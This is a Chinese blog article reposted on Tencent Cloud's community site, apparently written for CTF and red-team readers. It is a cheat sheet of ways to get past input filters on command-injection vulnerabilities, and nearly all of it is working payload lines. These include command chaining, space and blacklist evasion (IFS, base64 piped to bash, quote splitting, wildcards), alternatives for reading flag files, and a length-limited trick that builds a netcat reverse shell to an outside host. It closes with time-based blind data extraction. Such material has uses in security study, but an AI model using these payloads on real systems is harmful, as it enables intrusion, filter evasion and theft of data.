前往小程序,Get更优阅读体验!
立即前往
发布
社区首页 >专栏 >命令执行漏洞绕过方法总结

命令执行漏洞绕过方法总结

作者头像
红队蓝军
发布2025-02-12 15:45:09
发布2025-02-12 15:45:09
9000
代码可运行
举报
文章被收录于专栏:红队蓝军
运行总次数:0
代码可运行

命令执行漏洞绕过方法总结

操作系统管道符

Windows系统管道符

代码语言:javascript
代码运行次数:0
复制
|  :直接执行后面的语句,|前面的命令结果作为后面命令的参数
|| :前面的命令执行成功,则后面的命令不会执行;前面的命令执行失败,则后面的命令执行
&  :前面和后面命令都要执行,无论前面真假。注意:使用的时候要把&进行URL编码为%26才能正常执行cmd=%26cat /flag
&& :如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

linux系统管道符

代码语言:javascript
代码运行次数:0
复制
|、||、&、&&这四种管道符都存在且用法和Windows系统下一样

;作用和&一样,只是不用%26

绕过:

空格绕过

1、${IFS}

${IFS} 是一个环境变量,代表内部字段分隔符(Internal Field Separator)。在大多数情况下,它的默认值是空格、制表符(tab)和换行符

示例:

代码语言:javascript
代码运行次数:0
复制
1、cat${IFS}flag.txt
2、ls${IFS}-la

2、利用大括号

代码语言:javascript
代码运行次数:0
复制
{cat,flag.txt}

3、%09绕过 (php环境)

%09 是一个表示制表符(Tab 键)的 ASCII 码,可以用于空格过滤绕过。

代码语言:javascript
代码运行次数:0
复制
cat%09flag.txt  等同于 cat<Tab>flag.txt

bin绕过

代码语言:javascript
代码运行次数:0
复制
/tmp/../bin/whoami

4、重定向

重定向字符 < :用于将文件的内容作为输入提供给命令

示例:

cat flag.txt

cat<flag.txt

**重定向字符 <>**:用于打开文件并同时进行读取和写入

cat<>flag.txt

bash变量绕过

代码语言:javascript
代码运行次数:0
复制
c=ami;who$_  :$_代表前面一个命令的结果。

黑名单绕过

1、base64编码

将 cat flag 进行编码

管道符|把前面指令执行的结果,变成后面指令的参数

代码语言:javascript
代码运行次数:0
复制
`echo "Y2F0IGZsYWc="|base64 -d`
 $(echo Y2F0IGZsYWc= | base64 -d)
echo Y2F0IGZsYWc= | base64 -d | bash

同理base32编码也可

2、拼接

利用变量$

代码语言:javascript
代码运行次数:0
复制
a=c; b=at; c=fl; d=ag; $a$b $c$d
$a$b 最终会被替换为 cat,而 $c$d 最终会被替换为 flag

3、反斜杠

代码语言:javascript
代码运行次数:0
复制
c\at fl\ag 

4、单 双引号

代码语言:javascript
代码运行次数:0
复制
c""at fl''ag
"ca"'t'"" 'fl'"ag"

读取文件命令绕过

常见的将cat进行过滤

代码语言:javascript
代码运行次数:0
复制
1、将cat进行编码
代码语言:javascript
代码运行次数:0
复制
2、tac:反向显示,从最后一行开始往前显示
代码语言:javascript
代码运行次数:0
复制
3、more:一页一页显示档案内容
less:与more类似
代码语言:javascript
代码运行次数:0
复制
4、tail 查看末尾几行
代码语言:javascript
代码运行次数:0
复制
5、nl 显示的时候,顺便输出行号
代码语言:javascript
代码运行次数:0
复制
6、od :以二进制方式读取档案内容
    -A d:指定输出地址的格式为十进制。
    -c:以字符形式输出内容。
代码语言:javascript
代码运行次数:0
复制
7、sort:主要用于排序文件 
代码语言:javascript
代码运行次数:0
复制
8、uniq :报告或删除文件中重复的行也可以查看
代码语言:javascript
代码运行次数:0
复制
9、file -f:报错出具体内容
代码语言:javascript
代码运行次数:0
复制
10、strings :相当于cat
代码语言:javascript
代码运行次数:0
复制
10、使用编辑器 vi  vim  nano也可查看

通配符绕过

代码语言:javascript
代码运行次数:0
复制
/???/?[a][t] ?''?''?''?''
/???/?at flag
/???/?at ????
/???/?[a]''[t] ?''?''?''?'' 

长度绕过

1、Linux中的>符号和>>符号

代码语言:javascript
代码运行次数:0
复制
通过>创建文件,并将命令执行结果写入文件会覆盖掉文件原本的内容
代码语言:javascript
代码运行次数:0
复制
>>用来追加文件内容

运用

代码语言:javascript
代码运行次数:0
复制
echo "ca\\">cmd :创建文件,并写入内容
echo "t\\">>cmd :追加文件内容
echo " fl\\">>cmd :追加
echo "ag">>cmd :追加
cat cmd
sh cmd :sh命令是shell命令语言解释器,执行命令从标准输入读取或从一个文件中读取

2、利用ls-t和>绕过

代码语言:javascript
代码运行次数:0
复制
ls -t命令:按时间顺序,后创建的排在前面,由近及远排序。
代码语言:javascript
代码运行次数:0
复制
#>"ag"
#>" fl\\"
#>"t\\"
#>"ca\\"
#ls -t 
#ls -t > zian
#sh zian

3、绕过长度限制反弹shell命令

执行shell为

代码语言:javascript
代码运行次数:0
复制
nc 10.10.10.10 9001
代码语言:javascript
代码运行次数:0
复制
#>9001
#>\ \\
#>>10\\
#>10.\\
#>10.\\
#>10.\\
#>c\ \\
#>\n\\
#ls -t > zian
#sh zian

攻击机监听即可

无回显时间盲注

1、sleep

代码语言:javascript
代码运行次数:0
复制
sleep 5 理解SQL延时注入

2、cut -c和awk利用

代码语言:javascript
代码运行次数:0
复制
cat flag | awk NR==1  | cut -c 1      #获取结果为第1行的第一个字符
cat flag | awk NR==2  | cut -c 2      #获取结果为第2行第二个字符

3、if语句:判断命令是否执行

代码语言:javascript
代码运行次数:0
复制
if [ $(cat flag | awk NR==1 | cut -c 2) == i ];then sleep 2;fi
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-11-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 红队蓝军 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 命令执行漏洞绕过方法总结
    • 操作系统管道符
      • Windows系统管道符
      • linux系统管道符
    • 绕过:
      • 空格绕过
      • bin绕过
      • bash变量绕过
      • 黑名单绕过
      • 读取文件命令绕过
      • 通配符绕过
      • 长度绕过
    • 无回显时间盲注
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档